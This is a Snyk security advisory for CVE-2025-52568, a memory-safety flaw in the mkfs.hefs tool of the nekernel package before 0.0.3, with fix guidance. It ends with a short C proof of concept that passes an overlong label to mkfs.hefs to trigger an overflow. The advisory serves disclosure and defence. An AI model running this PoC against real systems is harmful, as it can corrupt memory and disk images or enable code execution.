Allocation of Resources Without Limits or Throttling Affecting nekernel-org/nekernel package, versions [,0.0.3)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsSnyk Learn
Learn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.
Start learning- Snyk IDSNYK-UNMANAGED-NEKERNELORGNEKERNEL-10734140
- published14 Jul 2025
- disclosed24 Jun 2025
- credit0xf00sec
Introduced: 24 Jun 2025
CVE-2025-52568 (opens in a new tab)How to fix?
Upgrade nekernel-org/nekernel to version 0.0.3 or higher.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to unchecked memory operations, unsafe typecasting, and improper input validation in the mkfs.hefs process. An attacker can cause memory corruption, disk image corruption, denial of service, or potentially execute arbitrary code by providing crafted input.
PoC
#define OVERFLOW_LEN 40
int main() {
char label[OVERFLOW_LEN + 1];
memset(label, 'A', OVERFLOW_LEN);
label[OVERFLOW_LEN] = '\0';
char cmd[1024];
snprintf(cmd, sizeof(cmd),
"./mkfs.hefs -L \"%s\" -s 512 "
"-b 0x1000 -e 0x8000 "
"-bs 0x8000 -be 0x800000 "
"-is 0x800000 -ie 0xA00000 "
"-S 128 -o hefs.img", label);
return system(cmd);
}